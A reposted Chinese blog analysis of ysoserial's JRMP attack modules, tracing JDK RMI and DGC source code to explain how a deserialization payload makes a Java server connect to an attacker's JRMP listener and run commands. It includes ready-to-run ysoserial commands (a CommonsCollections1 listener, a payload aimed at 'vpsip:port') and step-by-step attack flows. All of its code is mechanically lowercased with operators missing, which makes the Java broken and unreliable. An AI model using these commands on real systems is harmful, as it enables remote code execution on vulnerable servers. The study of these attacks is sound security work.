java安全之ysoserialjrmp分析 | 宜武汇-ag真人国际厅网站

相关类

sun.rmi.transport.tcp.tcpendpoint:用于表示基于 tcp 的远程通信终点(endpoint)的类。它包含了远程主机的主机名(hostname)和端口号(port number),用于建立 tcp 连接。
此类主要用于在 java rmi 中表示 tcp 通信的终点,它指定了远程主机的主机名和端口号。在 java rmi 的远程对象调用过程中,tcpendpoint 用于建立与远程主机的 tcp 连接,并进行网络通信
java.rmi.server.objid:用于在 java rmi 中唯一标识远程对象。每个远程对象都具有一个唯一的 objid。这些标识符用于在远程通信中识别和定位对象。
sun.rmi.server.unicastref:用于表示单播(unicast)通信模式下的远程引用。它实现了 remoteref 接口,用于在远程对象之间进行通信。
sun.rmi.transport.liveref:用于表示远程对象的活动引用,其中包含了远程对象的通信地址、通信端口和标识符等信息。它在 java rmi 的远程对象调用过程中被使用,以便建立与远程对象的通信连接并进行远程方法调用。
java.rmi.server.remoteobjectinvocationhandler:用于在 java rmi 中实现代理模式,充当远程对象的调用处理程序。当客户端通过代理对象调用远程对象的方法时,remoteobjectinvocationhandler 接收到方法调用并将其转发给远程对象。它负责处理与远程对象之间的通信和结果的返回。
sun.rmi.server.unicastserverref:unicastserverref 类是 java rmi 中用于实现基于单播通信方式的服务器端引用的关键类。它负责管理服务器端引用的创建、通信和远程方法调用的转发,以及序列化和反序列化等功能。
sun.rmi.transport.target:是 java rmi 中用于封装远程对象信息和远程通信目标的类。它包含了远程对象本身、骨架、目标地址和对象标识符等信息,用于在远程通信中确定目标并进行相应的处理。
java.rmi.dgc.dgc:是 java rmi 框架中实现分布式垃圾回收的核心组件之一。它通过管理远程对象的生命周期和执行垃圾回收操作,确保远程对象的资源能够被正确释放,从而提高系统的性能和可靠性。
sun.rmi.transport.dgcimpl_skel:是 java rmi 框架中实现分布式垃圾回收的关键组件之一。它作为服务器端的骨架类,接收远程垃圾回收调用请求,并将其分派给具体的垃圾回收实现。通过该类的协作,可以实现远程对象的垃圾回收功能,并确保资源的释放和系统的可靠性。

第一部分

生成payload复现

环境设置

最终生成payload

payloads.jrmplistener生成payload

生成payload object的主要在于jrmplistener的getobject方法

public unicastremoteobject getobject ( final string command ) throws exception { // 端口 int jrmpport = integer.parseint(command); unicastremoteobject uro = reflections.createwithconstructor(activationgroupimpl.class, remoteobject.class, new class[] { remoteref.class }, new object[] { new unicastserverref(jrmpport) }); reflections.getfield(unicastremoteobject.class, "port").set(uro, jrmpport); return uro; } 

在程序第二句使用reflections.createwithconstructor方法构造一个unicastremoteobject对象,传递了四个参数
观察传入的第四个参数,将端口作为参数new一个unicastserverref对象,进入该类构造函数

public unicastserverref(int var1) { // liveref是unicastserverref的父类unicastref的嵌套类,它表示一个远程对象的引用 super(new liveref(var1)); this.forcestubuse = false; this.hashtomethod_map = null; } 

进入liveref的构造函数

public liveref(int var1) { this(new objid(), var1); } 

继续进入objid的构造函数

public objid() { /*  * if generating random object numbers, create a new uid to  * ensure uniqueness; otherwise, use a shared uid because  * sequential object numbers already ensure uniqueness.  */ if (userandomids()) { // 如果使用随机对象编号,创建一个新的uid对象,并将其赋值给space字段。uid是java中的唯一标识符,用于表示全局唯一的标识符 space = new uid(); // 生成一个随机的long类型的对象编号 objnum = securerandom.nextlong(); } else { space = myspace; objnum = nextobjnum.getandincrement(); } } 

返回至liveref的构造函数,进行了构造函数的重载

public liveref(objid var1, int var2) { this(var1, tcpendpoint.getlocalendpoint(var2), true); } 

其中var1是获取的objid,第二个参数经过了一个方法处理,传入的参数是端口
进入tcpendpoint.getlocalendpoint方法

public static tcpendpoint getlocalendpoint(int var0) { return getlocalendpoint(var0, (rmiclientsocketfactory)null, (rmiserversocketfactory)null); } 

这里也是对方法的重构,进入重构的方法

public static tcpendpoint getlocalendpoint(int var0, rmiclientsocketfactory var1, rmiserversocketfactory var2) { tcpendpoint var3 = null; // 对localendpoints对象进行同步锁定,确保线程安全 synchronized(localendpoints) { tcpendpoint var5 = new tcpendpoint((string)null, var0, var1, var2); // 根据var5从localendpoints中获取对应的端点列表 linkedlist var6 = (linkedlist)localendpoints.get(var5); // 调用resamplelocalhost()方法获取本地主机地址 string var7 = resamplelocalhost(); // 表示还没有对应的端点存在 if (var6 == null) { // 创建一个新的tcpendpoint对象,使用本地主机地址var7、端口号var0以及指定的rmiclientsocketfactory和rmiserversocketfactory var3 = new tcpendpoint(var7, var0, var1, var2); // 创建一个新的linkedlist用于存储端点对象 var6 = new linkedlist(); var6.add(var3); var3.listenport = var0; // 创建一个新的tcptransport对象,并将端点列表作为参数传递给它 var3.transport = new tcptransport(var6); // 将端点列表添加到localendpoints映射中,以var5为键 localendpoints.put(var5, var6); if (tcptransport.tcplog.isloggable(log.brief)) { tcptransport.tcplog.log(log.brief, "created local endpoint for socket factory "  var2  " on port "  var0); } // 存在端点 } else { synchronized(var6) { // 获取列表中的最后一个端点对象 var3 = (tcpendpoint)var6.getlast(); string var9 = var3.host; int var10 = var3.port; tcptransport var11 = var3.transport; // 如果本地主机地址var7不为null且与最后一个端点的主机地址var9不相等 if (var7 != null && !var7.equals(var9)) { if (var10 != 0) { // 清空端点列表 var6.clear(); } var3 = new tcpendpoint(var7, var10, var1, var2); var3.listenport = var0; var3.transport = var11; var6.add(var3); } } } return var3; } } 

该方法主要是用于获取本地端点对象,在第一个if条件下变量的值如下图

接下来继续执行

最后返回var3
回到liveref的构造函数,继续调用重载函数

public liveref(objid var1, endpoint var2, boolean var3) { this.ep = var2; this.id = var1; this.islocal = var3; } 


紧接着一致返回,来到unicastserverref对象的构造函数,参数是上面获取的liveref对象,调用父类构造函数

public unicastref(liveref var1) { this.ref = var1; } 

此时前面提到的第四个参数中构建unicastserverref对象的步骤完成,主要是将其ref属性赋值为liveref对象

liveref是java rmi中用于管理远程对象引用的类,它提供了远程通信所需的信息和功能,以使代理对象能够与远程对象进行交互

继续观察createwithconstructor方法的内部实现

public static <t> t createwithconstructor ( class<t> classtoinstantiate, class super t> constructorclass, class[] consargtypes, object[] consargs ) throws nosuchmethodexception, instantiationexception, illegalaccessexception, invocationtargetexception { constructor super t> objcons = constructorclass.getdeclaredconstructor(consargtypes); setaccessible(objcons); // 创建一个特殊的构造函数对象,以便在对象序列化期间使用 constructor sc = reflectionfactory.getreflectionfactory().newconstructorforserialization(classtoinstantiate, objcons); setaccessible(sc); return (t)sc.newinstance(consargs); } 
  • classtoinstantiate:要实例化的类的class对象
  • constructorclass:构造函数所在类的class对象
  • consargtypes:构造函数的参数类型数组
  • consargs:构造函数的参数值数组


执行完构造函数后,返回至getobject方法,最后使用reflections.getfield方法将得到的unicastremoteobject对象的port属性设置为传入的端口的值,然后将对象返回。
最后将得到的activationgroupimpl对象进行序列化得到payload

payload反序列化复现

环境设置

这一步其实包括上面的payload生成,只是在先写前面的部分未考虑后面的部分,现在分析对前面步骤生成的payload任何进行反序列化

payloads.jrmplistener payload反序列化

函数调用栈:

listen:319, tcptransport (sun.rmi.transport.tcp) exportobject:249, tcptransport (sun.rmi.transport.tcp) exportobject:411, tcpendpoint (sun.rmi.transport.tcp) exportobject:147, liveref (sun.rmi.transport) exportobject:208, unicastserverref (sun.rmi.server) exportobject:383, unicastremoteobject (java.rmi.server) exportobject:320, unicastremoteobject (java.rmi.server) reexport:266, unicastremoteobject (java.rmi.server) readobject:235, unicastremoteobject (java.rmi.server) invoke0:-1, nativemethodaccessorimpl (sun.reflect) invoke:62, nativemethodaccessorimpl (sun.reflect) invoke:43, delegatingmethodaccessorimpl (sun.reflect) invoke:497, method (java.lang.reflect) invokereadobject:1058, objectstreamclass (java.io) readserialdata:1900, objectinputstream (java.io) readordinaryobject:1801, objectinputstream (java.io) readobject0:1351, objectinputstream (java.io) readobject:371, objectinputstream (java.io) deserialize:27, deserializer (ysoserial) deserialize:22, deserializer (ysoserial) run:38, payloadrunner (ysoserial.payloads.util) main:55, jrmplistener (ysoserial.payloads) 

由前面生成的payload可知,序列化的对象是unicastremoteobject对象,现在对payload进行反序列化,故会调用unicastremoteobject的readobject方法

private void readobject(java.io.objectinputstream in) throws java.io.ioexception, java.lang.classnotfoundexception { in.defaultreadobject(); // 进入这里 reexport(); } 

进入reexport方法

private void reexport() throws remoteexception { if (csf == null && ssf == null) { // 进入这里 exportobject((remote) this, port); } else { exportobject((remote) this, port, csf, ssf); } } 

这里的this是activationgroupimpl对象,它继承了activationgroup类,而activationgroup类继承了unicastremoteobject类,归根结底是unicastremoteobject的子类,而unicastremoteobject继承了remoteserver类,remoteserver继承了remoteobject类,remoteobject类继承了remote接口,所以这里强制转换没有问题,传入的依旧是activationgroupimpl类
csf和ssf都为null,进入exportobject重载方法

public static remote exportobject(remote obj, int port) throws remoteexception { return exportobject(obj, new unicastserverref(port)); } 

继续进入unicastremoteobject类的重载方法

private static remote exportobject(remote obj, unicastserverref sref) throws remoteexception { // if obj extends unicastremoteobject, set its ref. if (obj instanceof unicastremoteobject) { ((unicastremoteobject) obj).ref = sref; } // 这里 return sref.exportobject(obj, null, false); } 

前面提到obj是activationgroupimp对象,故不会进入if,这里的sref是上一步传入的unicastserverref对象,故进入该类的exportobject方法

public remote exportobject(remote var1, object var2, boolean var3) throws remoteexception { // 获取要导出的远程对象的类 class var4 = var1.getclass(); remote var5; try { // 创建代理对象 // 该方法会根据指定的类、客户端引用和强制存根使用的标志来创建代理对象 var5 = util.createproxy(var4, this.getclientref(), this.forcestubuse); } catch (illegalargumentexception var7) { throw new exportexception("remote object implements illegal remote interface", var7); } // 检查代理对象类型 if (var5 instanceof remotestub) { this.setskeleton(var1); } // 创建 target 对象 // 该对象封装了要导出的远程对象、unicastremoteobject 对象、代理对象、对象标识符和是否启用存根的标志 target var6 = new target(var1, this, var5, this.ref.getobjid(), var3); // 导出远程对象 // 进入这里 this.ref.exportobject(var6); this.hashtomethod_map = (map)hashtomethod_maps.get(var4); return var5; } 

此方法用于导出一个远程对象,并返回一个代理对象。这里的this.ref是liveref对象,进入该类的exportobject方法,传入的参数是target对象

liveref的exportobject方法

public void exportobject(target var1) throws remoteexception { this.ep.exportobject(var1); } 


这里的this.ep是tcpendpoint对象,进入该类的exportobject方法,传入的参数依旧是target对象

这里的this.transport是tcptransport对象,进入该类的exportobject方法,依旧传递target参数

public void exportobject(target var1) throws remoteexception { // 使用 synchronized(this) 创建一个同步块,以确保在导出过程中的线程安全性 synchronized(this) { // 用于启动远程通信监听器,以便可以接收客户端的远程调用请求 this.listen(); this.exportcount; } ... } 

进入tcptransport的listen方法,这个方法用于启动远程通信监听器,以便可以接收客户端的远程调用请求

private void listen() throws remoteexception { // 断言当前线程持有当前对象的锁 assert thread.holdslock(this); // 获取目标对象的端口信息 tcpendpoint var1 = this.getendpoint(); int var2 = var1.getport(); if (this.server == null) { if (tcplog.isloggable(log.brief)) { tcplog.log(log.brief, "(port "  var2  ") create server socket"); } try { // 创建服务器套接字 this.server = var1.newserversocket(); // 该线程负责执行 acceptloop 对象,该对象用于接受客户端的连接请求 thread var3 = (thread)accesscontroller.doprivileged(new newthreadaction(new acceptloop(this.server), "tcp accept-"  var2, true)); // 启动线程 var3 var3.start(); } catch (bindexception var4) { throw new exportexception("port already in use: "  var2, var4); } catch (ioexception var5) { throw new exportexception("listen failed on port: "  var2, var5); } } else { // 获取系统安全管理器 securitymanager var6 = system.getsecuritymanager(); if (var6 != null) { var6.checklisten(var2); } } } 

该代码段的作用是在指定端口上监听,并创建服务器套接字进行连接请求的接受

观察其反序列化的过程,也能够理解payload构造的原理

复现

payloads.jrmplistener的设置和上面一样

exploit.jrmpclient设置

服务端成功命令执行

攻击流程

  1. payloads.jrmplistener生成payload1,用于在服务器上开启一个rmi端口(这里的端也是服务端)
  2. 服务端接收到payload1后,进行反序列化,成功开启9999端口并监听
  3. exploit.jrmpclient端生成恶意payload2,并向服务端发送
  4. 服务端检测到端口上有数据请求,经过解包、反序列化(rmi中的知识)后导致命令执行

exploit.jrmpclient分析

第一步:生成payload
在exploit.jrmpclient的main函数中,使用下面这句代码生成cc1链所需要的payload

object payloadobject = utils.makepayloadobject(args[2], args[3]); 

第二步

makedgccall(hostname, port, payloadobject); 

进入该函数

public static void makedgccall ( string hostname, int port, object payloadobject ) throws ioexception, unknownhostexception, socketexception { // 创建网络地址 inetsocketaddress isa = new inetsocketaddress(hostname, port); socket s = null; dataoutputstream dos = null; try { // 创建套接字和输出流 s = socketfactory.getdefault().createsocket(hostname, port); s.setkeepalive(true); s.settcpnodelay(true); outputstream os = s.getoutputstream(); dos = new dataoutputstream(os); // 向输出流写入一系列字节,表示调用相关的信息。这些信息包括魔数、版本、协议类型、调用类型等 dos.writeint(transportconstants.magic); dos.writeshort(transportconstants.version); dos.writebyte(transportconstants.singleopprotocol); dos.write(transportconstants.call); @suppresswarnings ( "resource" ) // 创建对象输出流 final objectoutputstream objout = new marshaloutputstream(dos); // 向输出流写入 dgc 相关的信息,包括 dgc 标识、脏位、对象 id 等 objout.writelong(2); // dgc objout.writeint(0); objout.writelong(0); objout.writeshort(0); objout.writeint(1); // dirty objout.writelong(-669196253586618813l); objout.writeobject(payloadobject); os.flush(); } finally { if ( dos != null ) { dos.close(); } if ( s != null ) { s.close(); } } } 

该方法用于向指定主机和端口发送一个 dgc(分布式垃圾回收)调用

观察客户端为什么需要在输出流中写入一些数字,然后再将payload写入输出流后序列化发送给服务端
这就需要查看服务端的代码,它对输入流是如何处理的?
在rmi中了解到,客户端发送的序列化数据,服务端最终会流向**impl_skel,这里利用的是dgc,所以查看dgcimpl_skel的dispatch函数

public void dispatch(remote var1, remotecall var2, int var3, long var4) throws exception { if (var4 != -669196253586618813l) { throw new skeletonmismatchexception("interface hash mismatch"); } else { dgcimpl var6 = (dgcimpl)var1; objid[] var7; long var8; switch (var3) { case 0: vmid var39; boolean var40; try { objectinput var14 = var2.getinputstream(); var7 = (objid[])var14.readobject(); var8 = var14.readlong(); var39 = (vmid)var14.readobject(); var40 = var14.readboolean(); } catch (ioexception var36) { //... } finally { var2.releaseinputstream(); } var6.clean(var7, var8, var39, var40); try { var2.getresultstream(true); break; } catch (ioexception var35) { throw new marshalexception("error marshalling return", var35); } case 1: lease var10; try { objectinput var13 = var2.getinputstream(); var7 = (objid[])var13.readobject(); var8 = var13.readlong(); var10 = (lease)var13.readobject(); } catch (ioexception var32) { //... } finally { var2.releaseinputstream(); } lease var11 = var6.dirty(var7, var8, var10); try { objectoutput var12 = var2.getresultstream(true); var12.writeobject(var11); break; } catch (ioexception var31) { throw new marshalexception("error marshalling return", var31); } default: throw new unmarshalexception("invalid method number"); } } } 

这个数字和jrmpclient写入的一样,所以需要找到服务端最先处理通信传递过来的数据的地方,进入unicastserverref的dispatch函数

public void dispatch(remote var1, remotecall var2) throws ioexception { try { long var4; objectinput var40; try { var40 = var2.getinputstream(); // 先读取一个int,需要大于等于0 int var3 = var40.readint(); if (var3 >= 0) { if (this.skel != null) { // 进入这里 this.olddispatch(var1, var2, var3); return; } throw new unmarshalexception("skeleton class not found but required for client version"); } var4 = var40.readlong(); } catch (exception var36) { throw new unmarshalexception("error unmarshalling call header", var36); } } //... } 

进入olddispatch函数

public void olddispatch(remote var1, remotecall var2, int var3) throws ioexception { try { objectinput var18; long var4; try { var18 = var2.getinputstream(); try { class var17 = class.forname("sun.rmi.transport.dgcimpl_skel"); if (var17.isassignablefrom(this.skel.getclass())) { ((marshalinputstream)var18).usecodebaseonly(); } } catch (classnotfoundexception var13) { } // 读取一个long var4 = var18.readlong(); } catch (exception var14) { throw new unmarshalexception("error unmarshalling call header", var14); } this.logcall(var1, this.skel.getoperations()[var3]); this.unmarshalcustomcalldata(var18); // 然后在这里 this.skel.dispatch(var1, var2, var3, var4); } //... } 

大致逻辑是先读取var3,再读取var4,var3需要大于等于0,同时在dgcimpl_skel的dispatch中,根据var3的值选择执行dirty还是clean,这里选择1,然后var4是-669196253586618813l

参考


第二部分

复现

在ysoserial项目中,exploit.jrmplistener作为恶意服务器端,等待目标连接,然后向其发送命令执行payload1
payloads.jrmpclient作用则是构造向jrmplistener发起远程对象请求的payload2,发送至目标漏洞服务器(这里的测试环境jrmpclient充当两个角色)
实验环境
jdk8u66
测试
exploit.jrmplistener端设置:

payloads.jrmpclient端设置:

运行后即可弹出计算器,导致命令执行(这里的命令执行是在jrmpclient端触发的)
在实际中,命令触发一般在存在漏洞的目标服务器中,因此可以使用如下命令

java -cp ysoserial-all.jar ysoserial.exploit.jrmplistener 9999 commonscollections1 'touch /tmp/cve-2017-3248' java -jar ysoserial.jar jrmpclient 'vpsip:port' > vulrserver 

攻击流程

  1. 攻击者使用vps启用ysoserial.exploit.jrmplistener,设置需要需要执行的命令、端口和利用的模块,生成payload1
  2. 攻击者本地使用payloads.jrmpclient生成payload2,设置vps的ip与端口,生成payload2
  3. 攻击者将payload2发送至存在漏洞的目标服务器,目标服务器进行反序列化
  4. 目标服务器反序列化过程中会与exploit.jrmplistener进行通信(vps)
  5. vps会将payload1发送至目标漏洞服务器
  6. 漏洞服务器会根据 exploit/jrmplistener 设计的通信处理流程,进一步反序列化 payload1
  7. 在对payload1反序列化的过程中,会触发rce

exploit.jrmplistener

首先从其main函数开始分析,第一步是构造payload

final object payloadobject = utils.makepayloadobject(args[ 1 ], args[ 2 ]); 

进入该函数,关键两句代码是

final objectpayload payload = payloadclass.newinstance(); payloadobject = payload.getobject(payloadarg); 


第二部,启动监听
构建了一个jrmplistener对象,查看其构造函数

public jrmplistener (int port, string classname, url classpathurl) throws ioexception { this.port = port; this.payloadobject = makedummyobject(classname); this.classpathurl = classpathurl; this.ss = serversocketfactory.getdefault().createserversocket(this.port); } 

其中参数ss是一个serversocket对象

serversocket对象用于创建服务器端套接字,以侦听客户端的连接请求并接受连接


查看jrmplistener的run函数

public void run () { try { socket s = null; try { // 循环等待客户端连接 while ( !this.exit && ( s = this.ss.accept() ) != null ) { try { s.setsotimeout(5000); // 获取客户端的远程地址 inetsocketaddress remote = (inetsocketaddress) s.getremotesocketaddress(); system.err.println("have connection from "  remote); // 获取与客户端连接的输入流 inputstream is = s.getinputstream(); // 根据标志位,选择使用原始输入流还是bufferedinputstream inputstream bufin = is.marksupported() ? is : new bufferedinputstream(is); // read magic (or http wrapper) bufin.mark(4); // 用于从输入流中读取数据 datainputstream in = new datainputstream(bufin); int magic = in.readint(); short version = in.readshort(); // 检查魔数和版本号是否匹配预期值,如果不匹配则关闭连接并继续下一次循环 if ( magic != transportconstants.magic || version != transportconstants.version ) { s.close(); continue; } // 获取与客户端连接的输出流 outputstream sockout = s.getoutputstream(); bufferedoutputstream bufout = new bufferedoutputstream(sockout); dataoutputstream out = new dataoutputstream(bufout); // 从输入流中读取一个字节,表示协议类型 byte protocol = in.readbyte(); switch ( protocol ) { // 流协议 case transportconstants.streamprotocol: // 向输出流写入一个字节作为协议确认 out.writebyte(transportconstants.protocolack); // 向输出流写入客户端主机名 if ( remote.gethostname() != null ) { out.writeutf(remote.gethostname()); } else { out.writeutf(remote.getaddress().tostring()); } // 向输出流写入客户端的端口 out.writeint(remote.getport()); out.flush(); in.readutf(); in.readint(); // 单操作协议 case transportconstants.singleopprotocol: // 调用此方法处理客户端请求,这里传入了payload // 进入的是这里 domessage(s, in, out, this.payloadobject); break; default: // 多路复用协议 case transportconstants.multiplexprotocol: system.err.println("unsupported protocol"); s.close(); continue; } bufout.flush(); out.flush(); } catch ( interruptedexception e ) { return; } catch ( exception e ) { e.printstacktrace(system.err); } finally { system.err.println("closing connection"); s.close(); } } } finally { if ( s != null ) { s.close(); } if ( this.ss != null ) { this.ss.close(); } } } catch ( socketexception e ) { return; } catch ( exception e ) { e.printstacktrace(system.err); } } 

进入domessage方法

private void domessage ( socket s, datainputstream in, dataoutputstream out, object payload ) throws exception { system.err.println("reading message..."); // 读取一个int,根据这个标志进行操作 int op = in.read(); switch ( op ) { case transportconstants.call: // service incoming rmi call // 进入的是这里 docall(in, out, payload); break; case transportconstants.ping: // send ack for ping out.writebyte(transportconstants.pingack); break; case transportconstants.dgcack: uid u = uid.read(in); break;  default: throw new ioexception("unknown transport op "  op); } s.close(); } 

进入docall方法

private void docall ( datainputstream in, dataoutputstream out, object payload ) throws exception { // 用于从输入流 in 中读取对象,重写了resolveclass方法 objectinputstream ois = new objectinputstream(in) { @override protected class resolveclass ( objectstreamclass desc ) throws ioexception, classnotfoundexception { if ( "[ljava.rmi.server.objid;".equals(desc.getname())) { return objid[].class; } else if ("java.rmi.server.objid".equals(desc.getname())) { return objid.class; } else if ( "java.rmi.server.uid".equals(desc.getname())) { return uid.class; } throw new ioexception("not allowed to read object"); } }; // 使用 ois 从输入流中读取一个 objid 对象 objid read; try { read = objid.read(ois); } catch ( java.io.ioexception e ) { throw new marshalexception("unable to read objid", e); } if ( read.hashcode() == 2 ) { ois.readint(); // method ois.readlong(); // hash system.err.println("is dgc call for "  arrays.tostring((objid[])ois.readobject())); } system.err.println("sending return with payload for obj "  read); //向输出流 out 写入一个字节,表示传输操作为返回操作 out.writebyte(transportconstants.return);// transport op // 用于将对象写入输出流 out 中 objectoutputstream oos = new jrmpclient.marshaloutputstream(out, this.classpathurl); // 向 oos 写入一个字节,表示传输操作为异常返回 oos.writebyte(transportconstants.exceptionalreturn); // 创建一个新的 uid 对象,并将其写入 oos new uid().write(oos); badattributevalueexpexception ex = new badattributevalueexpexception(null); // 关键在于这里,将payload写入到ex对象的val属性,并写入输出流 reflections.setfieldvalue(ex, "val", payload); oos.writeobject(ex); oos.flush(); out.flush(); this.hadconnection = true; synchronized ( this.waitlock ) { this.waitlock.notifyall(); } } 

最后jrmpclient端收到响应的数据

payloads.jrmpclient

payloadrunner.run(jrmpclient.class, args); 

进入run方法
第一步:生成payload

byte[] serialized = new execcheckingsecuritymanager().callwrapped(new callable<byte[]>(){ public byte[] call() throws exception { final string command = args.length > 0 && args[0] != null ? args[0] : getdefaulttestcmd(); system.out.println("generating payload object(s) for command: '"  command  "'"); objectpayload payload = clazz.newinstance(); final object objbefore = payload.getobject(command); system.out.println("serializing payload"); byte[] ser = serializer.serialize(objbefore); utils.releasepayload(payload, objbefore); return ser; }}); 

这里的clazz是jrmpclient,也就是调用该类的getobject方法获取payload

public registry getobject ( final string command ) throws exception { string host; int port; int sep = command.indexof(':'); if ( sep < 0 ) { port = new random().nextint(65535); host = command; } else { host = command.substring(0, sep); port = integer.valueof(command.substring(sep  1)); } // 标识远程对象 objid id = new objid(new random().nextint()); // rmi registry // 远程对象通信终点 tcpendpoint te = new tcpendpoint(host, port); unicastref ref = new unicastref(new liveref(id, te, false)); // 用于处理代理对象的方法调用 remoteobjectinvocationhandler obj = new remoteobjectinvocationhandler(ref); // 创建代理对象 registry proxy = (registry) proxy.newproxyinstance(jrmpclient.class.getclassloader(), new class[] { registry.class }, obj); return proxy; } 


最后将返回的代理对象进行反序列化
第二步:将序列化的payload进行反序列化
这一步是测试所用,正常是将payload发送至某个受害主机,让其进行反序列化从而导致命令执行
根据payload的构造,反序列化的第一步应该从remoteobjectinvocationhandler类的readobject方法开始,在该类中没找到readobject方法,进而查看父类remoteobject的readobject方法

private void readobject(java.io.objectinputstream in) throws java.io.ioexception, java.lang.classnotfoundexception { string refclassname = in.readutf(); if (refclassname == null || refclassname.length() == 0) { /*  * no reference class name specified, so construct  * remote reference from its serialized form.  */ ref = (remoteref) in.readobject(); } else { /*  * built-in reference class specified, so delegate to  * internal reference class to initialize its fields from  * its external form.  */ string internalrefclassname = remoteref.packageprefix  "."  refclassname; class refclass = class.forname(internalrefclassname); try { ref = (remoteref) refclass.newinstance(); /*  * if this step fails, assume we found an internal  * class that is not meant to be a serializable ref  * type.  */ } catch (instantiationexception e) { throw new classnotfoundexception(internalrefclassname, e); } catch (illegalaccessexception e) { throw new classnotfoundexception(internalrefclassname, e); } catch (classcastexception e) { throw new classnotfoundexception(internalrefclassname, e); } // 进这里 ref.readexternal(in); } } 


ref是unicastref对象,调用其readexternal函数

当一个类实现了 externalizable 接口时,它必须实现 readexternal(objectinput in) 方法来定义对象的反序列化过程。该方法在对象从输入流进行反序列化时被自动调用,其作用相当于readobject

public void readexternal(objectinput var1) throws ioexception, classnotfoundexception { this.ref = liveref.read(var1, false); } 

调用了liveref静态方法

public static liveref read(objectinput var0, boolean var1) throws ioexception, classnotfoundexception { tcpendpoint var2; // 从输入流中读取 tcpendpoint 对象 if (var1) { var2 = tcpendpoint.read(var0); } else { var2 = tcpendpoint.readhostportformat(var0); } objid var3 = objid.read(var0); boolean var4 = var0.readboolean(); liveref var5 = new liveref(var3, var2, false); if (var0 instanceof connectioninputstream) { connectioninputstream var6 = (connectioninputstream)var0; var6.saveref(var5); if (var4) { var6.setackneeded(); } } else { // 将var5注册到dgcclient中 // 进入这里 dgcclient.registerrefs(var2, arrays.aslist(var5)); } return var5; } 

该代码片段的作用是从输入流中读取数据以恢复 liveref 对象的状态。它根据不同的条件选择读取不同的数据格式,并在适当的情况下进行注册和标记处理。

进入dgcclient类的registerrefs

static void registerrefs(endpoint var0, list<liveref> var1) { endpointentry var2; do { var2 = dgcclient.endpointentry.lookup(var0); } while(!var2.registerrefs(var1)); } 


继续调用dgcclient类的registerrefs,传入一个参数的方法,重点关注语句

this.makedirtycall(var2, var3); 

传入的var2是一个hashset,里面存放的是经过此函数前面代码处理的远程连接对象,var3是下一个用于标识远程对象引用的序列号
在makedirtycall方法中重点关注

lease var7 = this.dgc.dirty(var4, var2, new lease(dgcclient.vmid, dgcclient.leasevalue)); 

在上面提到了dgc是dgcimpl_stub类,查看该类的dirty方法

public lease dirty(objid[] var1, long var2, lease var4) throws remoteexception { try { // 创建一个新的 remotecall 对象,用于发起远程调用 remotecall var5 = super.ref.newcall(this, operations, 1, -669196253586618813l); try { // 获取输出流并将参数对象写入 objectoutput var6 = var5.getoutputstream(); var6.writeobject(var1); var6.writelong(var2); var6.writeobject(var4); } catch (ioexception var20) { throw new marshalexception("error marshalling arguments", var20); } // 发起远程调用 super.ref.invoke(var5); lease var24; try { objectinput var9 = var5.getinputstream(); var24 = (lease)var9.readobject(); } catch (ioexception var17) { ... }finally { // 完成远程调用 super.ref.done(var5); } }catch (runtimeexception var21) { ... } } 


这个过程rmi反序列化时rmi client中registryimpl_stub 的实际操作一致
首先这里的ref是unicastref,调用newcall是与目标服务器进建立通信
然后使用invoke处理来自jrmplistener的响应,可以处理来自server端的报错情况,正好通过前面的分析可知,jrmplistener最后将payload包装在异常对象中序列化后写入输出流,jrmpclient对输入流进行反序列化,从而导致payload执行
函数调用栈

newcall:340, unicastref (sun.rmi.server) dirty:-1, dgcimpl_stub (sun.rmi.transport) makedirtycall:378, dgcclient$endpointentry (sun.rmi.transport) registerrefs:320, dgcclient$endpointentry (sun.rmi.transport) registerrefs:156, dgcclient (sun.rmi.transport) read:312, liveref (sun.rmi.transport) readexternal:493, unicastref (sun.rmi.server) readobject:455, remoteobject (java.rmi.server) invoke0:-1, nativemethodaccessorimpl (sun.reflect) invoke:62, nativemethodaccessorimpl (sun.reflect) invoke:43, delegatingmethodaccessorimpl (sun.reflect) invoke:497, method (java.lang.reflect) invokereadobject:1058, objectstreamclass (java.io) readserialdata:1900, objectinputstream (java.io) readordinaryobject:1801, objectinputstream (java.io) readobject0:1351, objectinputstream (java.io) defaultreadfields:2000, objectinputstream (java.io) readserialdata:1924, objectinputstream (java.io) readordinaryobject:1801, objectinputstream (java.io) readobject0:1351, objectinputstream (java.io) readobject:371, objectinputstream (java.io) deserialize:27, deserializer (ysoserial) deserialize:22, deserializer (ysoserial) run:38, payloadrunner (ysoserial.payloads.util) main:82, jrmpclient (ysoserial.payloads) 

参考

总结

这篇文章写的有点乱,建议学之前先了解rmi的详细流程及底层代码
这里主要分为两种攻击模式,都是基于在rmi底层存在的反序列化的点

  • 对服务端的攻击:payloads.jrmplistener exploit.jrmpclient
  • 对客户端的攻击:exploit.jrmplistener payloads.jrmpclient

原文链接:https://xz.aliyun.com/t/12780

网络摘文,本文作者:15h,如若转载,请注明出处:https://www.15cov.cn/2023/08/27/java安全之ysoserialjrmp分析/

发表评论

邮箱地址不会被公开。 必填项已用*标注

网站地图